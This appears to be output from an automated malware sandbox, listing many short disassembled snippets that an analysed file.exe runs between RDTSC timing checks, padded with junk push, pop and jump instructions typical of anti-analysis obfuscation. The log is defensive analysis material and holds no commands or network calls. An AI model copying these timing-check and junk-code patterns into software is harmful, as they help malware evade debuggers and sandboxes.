Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C621 second address: F9C627 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C68D second address: F9C6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F80h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C6A7 second address: F9C6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F81E8BCBB77h 0x0000000e pop edi 0x0000000f jng 00007F81E8BCBB6Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C6D0 second address: F9C79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov esi, dword ptr [ebp+122D2B6Ch] 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F81E8FD2F78h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push E28D04BEh 0x0000002d jmp 00007F81E8FD2F86h 0x00000032 add dword ptr [esp], 1D72FBC2h 0x00000039 mov edx, 3E81B9F5h 0x0000003e push 00000003h 0x00000040 mov edi, esi 0x00000042 push 00000000h 0x00000044 push 00000003h 0x00000046 cld 0x00000047 push D3A70B1Ch 0x0000004c jmp 00007F81E8FD2F7Eh 0x00000051 xor dword ptr [esp], 13A70B1Ch 0x00000058 jmp 00007F81E8FD2F80h 0x0000005d mov edi, dword ptr [ebp+122D3043h] 0x00000063 lea ebx, dword ptr [ebp+12451403h] 0x00000069 jmp 00007F81E8FD2F80h 0x0000006e xchg eax, ebx 0x0000006f jmp 00007F81E8FD2F85h 0x00000074 push eax 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F81E8FD2F7Fh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C79E second address: F9C7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD7DB second address: FBD7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD7DF second address: FBD7E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD7E3 second address: FBD7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8FD2F80h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD7FF second address: FBD803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91CEC second address: F91CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91CF7 second address: F91CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91CFD second address: F91D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F81E8FD2F76h 0x0000000e jmp 00007F81E8FD2F83h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB6DA second address: FBB6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB6DE second address: FBB704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F81E8FD2F76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB704 second address: FBB708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB708 second address: FBB743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F81E8FD2F80h 0x00000010 ja 00007F81E8FD2F87h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB743 second address: FBB74E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F81E8BCBB66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBBBC7 second address: FBBBD5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F81E8FD2F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBBBD5 second address: FBBBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC010 second address: FBC027 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F83h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC17C second address: FBC181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC547 second address: FBC54F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC7DB second address: FBC7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC7E4 second address: FBC7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F81E8FD2F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC7EE second address: FBC7F8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F81E8BCBB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC7F8 second address: FBC809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8FD2F7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC809 second address: FBC80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC80D second address: FBC81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F81E8FD2F76h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC81D second address: FBC838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d jg 00007F81E8BCBB72h 0x00000013 jno 00007F81E8BCBB66h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4558 second address: FB4561 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4561 second address: FB4567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4567 second address: FB456C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB456C second address: FB4574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4574 second address: FB4578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4578 second address: FB4586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89751 second address: F89774 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89774 second address: F8977A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8977A second address: F8977F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8977F second address: F89784 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC9AA second address: FBC9B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC9B4 second address: FBC9C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8BCBB6Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD09B second address: FBD0B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F81E8FD2F96h 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F81E8FD2F76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD37A second address: FBD37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD37E second address: FBD39D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD39D second address: FBD3B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Ah 0x00000007 jmp 00007F81E8BCBB6Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3B7 second address: FBD3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F81E8FD2F83h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3D6 second address: FBD3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC027B second address: FC027F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC027F second address: FC0291 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F81E8BCBB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F81E8BCBB66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86237 second address: F86242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F81E8FD2F76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86242 second address: F86258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8BCBB70h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86258 second address: F8627D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F81E8FD2F7Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F81E8FD2F76h 0x00000017 jo 00007F81E8FD2F76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8627D second address: F8628D instructions: 0x00000000 rdtsc 0x00000002 je 00007F81E8BCBB66h 0x00000008 jne 00007F81E8BCBB66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8628D second address: F862B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F81E8FD2F89h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F81E8FD2F76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC85BA second address: FC85BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC85BE second address: FC85C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8721 second address: FC874E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d je 00007F81E8BCBB66h 0x00000013 popad 0x00000014 push edx 0x00000015 jmp 00007F81E8BCBB75h 0x0000001a push edi 0x0000001b pop edi 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC874E second address: FC8768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F81E8FD2F76h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jng 00007F81E8FD2F76h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8A3F second address: FC8A5E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F81E8BCBB68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jne 00007F81E8BCBB66h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8A5E second address: FC8A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8BB4 second address: FC8BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F81E8BCBB66h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8BC2 second address: FC8BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8BC6 second address: FC8BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8BCC second address: FC8C0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F81E8FD2F76h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007F81E8FD2F7Ah 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push esi 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop esi 0x00000018 jl 00007F81E8FD2F8Bh 0x0000001e jmp 00007F81E8FD2F85h 0x00000023 jc 00007F81E8FD2F8Eh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8C0C second address: FC8C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8BCBB72h 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8D9D second address: FC8DC5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F81E8FD2F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F81E8FD2F85h 0x00000010 jng 00007F81E8FD2F76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8DC5 second address: FC8DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8DCB second address: FC8DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8DD0 second address: FC8E06 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F81E8BCBB91h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8E06 second address: FC8E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA400 second address: FCA405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA405 second address: FCA488 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F81E8FD2F76h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F81E8FD2F95h 0x00000013 jno 00007F81E8FD2F8Fh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jmp 00007F81E8FD2F87h 0x00000022 mov eax, dword ptr [eax] 0x00000024 jmp 00007F81E8FD2F80h 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f je 00007F81E8FD2F8Eh 0x00000035 jmp 00007F81E8FD2F88h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA488 second address: FCA493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F81E8BCBB66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA60E second address: FCA615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA615 second address: FCA61A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA99B second address: FCA9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCABDA second address: FCABE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F81E8BCBB66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCABE9 second address: FCABED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCABED second address: FCABF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB064 second address: FCB0A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F81E8FD2F78h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 nop 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F81E8FD2F83h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0A4 second address: FCB0A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0A8 second address: FCB0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0B2 second address: FCB0D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F81E8BCBB6Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0D5 second address: FCB0DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F81E8FD2F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB45C second address: FCB460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB5B9 second address: FCB5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB5BD second address: FCB600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F81E8BCBB68h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 or edi, 3B13A686h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push edi 0x00000031 jbe 00007F81E8BCBB66h 0x00000037 pop edi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC56B second address: FCC5B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d jmp 00007F81E8FD2F85h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F81E8FD2F83h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC3B6 second address: FCC3CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8BCBB72h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
